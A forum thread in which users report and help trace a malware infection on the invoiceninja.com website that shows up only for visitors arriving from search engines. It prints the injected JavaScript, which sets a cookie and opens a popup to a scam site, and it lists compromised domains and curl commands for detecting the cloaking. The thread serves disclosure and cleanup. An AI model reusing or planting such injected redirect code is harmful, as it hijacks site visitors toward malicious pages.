InvoiceNinja.com website infected with malware

@hillel
@david

Hi,

I didn’t see this posted already, and its been a while now that this is happening. I think the main website of invoiceninja.com is infected with malware, but its doing something clever to make it a bit unnoticable. It only kicks in when you arrive from a Google search. If you go directly to invoiceninja.com nothing happens. And when you arrive for the second time from Google on the same page it doesnt always kick in again. Steps to reproduce:

  1. Google any invoiceninja web page (for example “invoiceninja payment gateway integration”)
  2. Click the result (in this case: “Payment Gateway Integrations | Invoice Ninja”)
  3. Now, while the invoiceninja website is loading, if you look closely in the bottom left corner you can see all kinds of strange websites loading in the background. Using the developer tools we can see on the network tab what is happening:

As you can see it injects a script. Now whenever you click anywhere on the page, it opens a new tab which goes to that extra-bonus-here website.

It also sends a GET request to a few other websites as you can see (swisdermindonesia, 23rdbromleyscouts). These do not return any response, they probably add something to a database for the owner of those websites to keep track of how many people visit their infected websites.

I have tested this on 2 different computers to make sure the issue is not on my end.

When cleaning the malware, make sure to change all your passwords (of any admin panels, databases, etc, the attacker probably has full access to this information since it was able to modify what your site serves) also investigate which exploit the attacker used, and update all of your software (PHP, wordpress plugins, etc.), so that you are sure that the exploit cannot be used again.

1 Like

Some more investigation,

These websites (swisdermindonesia, 10goneviral, 23rdbromleyscouts), seem to be normal websites that are also infected. They help propagating the malware and probably don’t know they are doing so.

I also found the script being loaded in the source (as you can see they are pointing to different websites this time):

You can see they are given an id of “hello_newscript-js”

A google search for hello_newscript-js leads us to hello_newscript Malware Infecting .php Files to Cause Redirection | Astra Website Security

Good luck

@PatrickH123

I cannot recreate any of these. I think the issue may be on your PC?

Same here. No malicious sites requests.

I was a bit surprised by your response, since I had tested this on 2 different computers, one running macOS and the other Windows. Furthermore I tried it on my phone (iOS) and found the same behaviour.

I decided to do some more investigation and I think I got how it works. First of all, it only kicks in when you come from Google (so, the headers of the request need to contain a referer pointed to google). Secondly, it sets a cookie in the user’s browser. See my first post, you can see document.cookie = "a = a; Whenever this cookie is present, the malware will not kick in again.

To make sure you can replicate this, I suggest the following steps:
You could either clear all your browser cookies (and make sure to arrive from Google), or:

  1. Run curl -o index.html https://www.invoiceninja.com then nano index.html

  2. Search for “hello_newscript” (using Ctrl + W). You will not find it.

  3. This time run curl -o index_referer_google.html https://www.invoiceninja.com/ -H 'Referer: https://www.google.com/' then nano index_referer_google.html

  4. Search for “hello_newscript”. You will find the scripts injected in the source code.

In our browser we can also check the existence of the “a=a” cookie, then the scripts won’t be there.

I think I noticed the issue easily because my cookies are automatically deleted whenever I close my browser, which I have setup on every device.

You are correct, unfortunately. I assume I didn’t get it on first try due to ublock and privacy badger.
Here are the offending domains looks like:
www. marycremin .com
1steaglemortgage. atigraphics. com
2k-reflex. com
Appears to be a common infection with word press? The file is “count.php script”

localStorage.setItem('test', 'testValue');

if ((localStorage.getItem('test') !== null) &&  (localStorage.getItem('click') == null)){
	
	var click_r = false;
	document.addEventListener("click", function(){ 
	
	if(click_r == false){
	var date = new Date();date.setTime(date.getTime()+(100*24*60*60*1000));
	document.cookie = "a=a; expires=" + date.toGMTString();
	localStorage.setItem('click', 'click');
	window.open("https://extra-bonus-here.life/?u=7mkpd0d&o=ex5whk5");
	click_r = true;
	}
	});
}

The offending domains are different every time, I assume some kind of script is running on the webserver that randomly picks 3 compromised domains.

Also some info about that extra-bonus-here website to which users are redirected:

It doesn’t seem like a very nice website.

Indeed. Good catch. Site admins should get on it asap.
@hillel
@david

Submitted main url to namecheap as well.

@PatrickH123

Thanks, there is an issue, the trigger is that you need to pass any referer in the headers. For most people the js does not inject, and it appears only under certain circumstances. We have our team looking into it.

1 Like

I wouldn’t say that for most people the js does not inject, it does for everyone arriving from a search engine, but just only once. As we can see in the JavaScript it sets the cookie expiry date to 100*24*60*60*1000, which equals about 274 years.

But the importance is that it essentially means your website was compromised. This is a serious security breach. Since the attacker managed to get access to your web server, possibilities are really endless. The wp_config.php file can easily be read by a PHP script to obtain the database credentials and send them off to the attacker. Since you have user registration enabled to accept payments, all user data may have been compromised.

Anyway, good to hear your team is looking into it.

1 Like

Hi @PatrickH123

Thanks, it looks like the issue is now resolved.

Sorry to be a wet blanket, but it’s clearly not resolved, at least not right now. Both main page and Payment Gateway Integrations | Invoice Ninja are still injecting the malware, for instance. Don’t take it wrong please, but I’m a bit surprised and concerned the way you are treating it guys.

1 Like

@romank0

We take it very seriously. I’ve had another look and cannot see the js being injected, could you retest?

At least on my computer, method outlined by @PatrickH123 shows no positive results:

curl -s https://www.invoiceninja.com/ -H 'Referer: https://www.google.com/' | grep --color 'javascript'

I’ve looked at all javascipt, as “hello” was not found by itself, with or without _newscript suffix.

<script type="text/javascript">
!function(e,a,t){var n,r,o,i=a.createElement("canvas"),p=i.getContext&&i.getContext("2d");function s(e,t){var a=String.fromCharCode;p.clearRect(0,0,i.width,i.height),p.fillText(a.apply(this,e),0,0);e=i.toDataURL();return p.clearRect(0,0,i.width,i.height),p.fillText(a.apply(this,t),0,0),e===i.toDataURL()}function c(e){var t=a.createElement("script");t.src=e,t.defer=t.type="text/javascript",a.getElementsByTagName("head")[0].appendChild(t)}for(o=Array("flag","emoji"),t.supports={everything:!0,everythingExceptFlag:!0},r=0;r<o.length;r++)t.supports[o[r]]=function(e){if(!p||!p.fillText)return!1;switch(p.textBaseline="top",p.font="600 32px Arial",e){case"flag":return s([127987,65039,8205,9895,65039],[127987,65039,8203,9895,65039])?!1:!s([55356,56826,55356,56819],[55356,56826,8203,55356,56819])&&!s([55356,57332,56128,56423,56128,56418,56128,56421,56128,56430,56128,56423,56128,56447],[55356,57332,8203,56128,56423,8203,56128,56418,8203,56128,56421,8203,56128,56430,8203,56128,56423,8203,56128,56447]);case"emoji":return!s([10084,65039,8205,55357,56613],[10084,65039,8203,55357,56613])}return!1}(o[r]),t.supports.everything=t.supports.everything&&t.supports[o[r]],"flag"!==o[r]&&(t.supports.everythingExceptFlag=t.supports.everythingExceptFlag&&t.supports[o[r]]);t.supports.everythingExceptFlag=t.supports.everythingExceptFlag&&!t.supports.flag,t.DOMReady=!1,t.readyCallback=function(){t.DOMReady=!0},t.supports.everything||(n=function(){t.readyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1),e.addEventListener("load",n,!1)):(e.attachEvent("onload",n),a.attachEvent("onreadystatechange",function(){"complete"===a.readyState&&t.readyCallback()})),(n=t.source||{}).concatemoji?c(n.concatemoji):n.wpemoji&&n.twemoji&&(c(n.twemoji),c(n.wpemoji)))}(window,document,window._wpemojiSettings);
<script type='text/javascript' src='https://www.invoiceninja.com/wp-includes/js/jquery/jquery.min.js?ver=3.6.0' id='jquery-core-js'></script>
<script type='text/javascript' src='https://www.invoiceninja.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2' id='jquery-migrate-js'></script>
<script type='text/javascript' src='https://www.invoiceninja.com/wp-content/themes/invoice-ninja/js/jquery.rwdImageMaps.min.js?ver=5.9.1' id='imagemap-js'></script>
<script type='text/javascript' src='https://www.invoiceninja.com/wp-content/themes/invoice-ninja/js/plugins/matchHeight.js?ver=5.9.1' id='matchHeight-js'></script>
<script type='text/javascript' src='https://www.invoiceninja.com/wp-content/themes/invoice-ninja/js/plugins/fancybox.js?ver=5.9.1' id='fancybox-js'></script>
<script type='text/javascript' src='https://www.invoiceninja.com/wp-content/themes/invoice-ninja/js/plugins/svgeezy.js?ver=5.9.1' id='svgeezy-js'></script>
<script type='text/javascript' src='https://www.invoiceninja.com/wp-content/themes/invoice-ninja/js/plugins/modernizr.custom.js?ver=5.9.1' id='modernizr-js'></script>
<script type='text/javascript' src='https://www.invoiceninja.com/wp-content/themes/invoice-ninja/js/custom.js?ver=1.000000001' id='custom-js'></script>
<script type="text/javascript">
<script type="text/javascript">

I’ve also tried yahoo, bing and duckduckgo as referrals.

On my end I do not see the injected scripts anymore, but there is still something left:
afbeelding

@romank0 Did you notice the same or did you see anything else?

Also, I had noticed before that user registration is enabled at /wp-admin, but I just saw that when you want to sign up for invoiceninja on the pricing page it sends you to invoicing.co and you have to register there. That is good to know, then probably no user data was compromised (as your customers aren’t registered on invoiceninja.com), but it leaves me with the question why you have user registrations enabled on invoiceninja.com as well? It seems like it serves no purpose, better to disable it then.

At the moment of my previous reply the script was still there. Just tested now and cannot see the script anymore but dns-prefetch to random websites is still there.

Can confirm, there are still differences, I guess I should have thought to look specifically for them to begin with:

# diff <(curl -s https://www.invoiceninja.com/ -H 'Referer: https://www.google.com/') <(curl -s https://www.invoiceninja.com/)
35,37d34
< <link rel='dns-prefetch' href='//blenderelements.com' />
< <link rel='dns-prefetch' href='//www.superfaveadores.com' />
< <link rel='dns-prefetch' href='//1981nk.store' />

Return headers don’t show any meaningful differences (no additional cookies are set), if you want to check for yourself, edit both curl commands with an additional ‘-D -’ parameter, as in: curl -s -D - https…

Thanks guys, we’ve removed the last of these links.

1 Like

Can you share what the root cause of this issue was and how you are taking steps to prevent it happening again in the future?

I assume it was an outdated vulnerable wordpress plugin?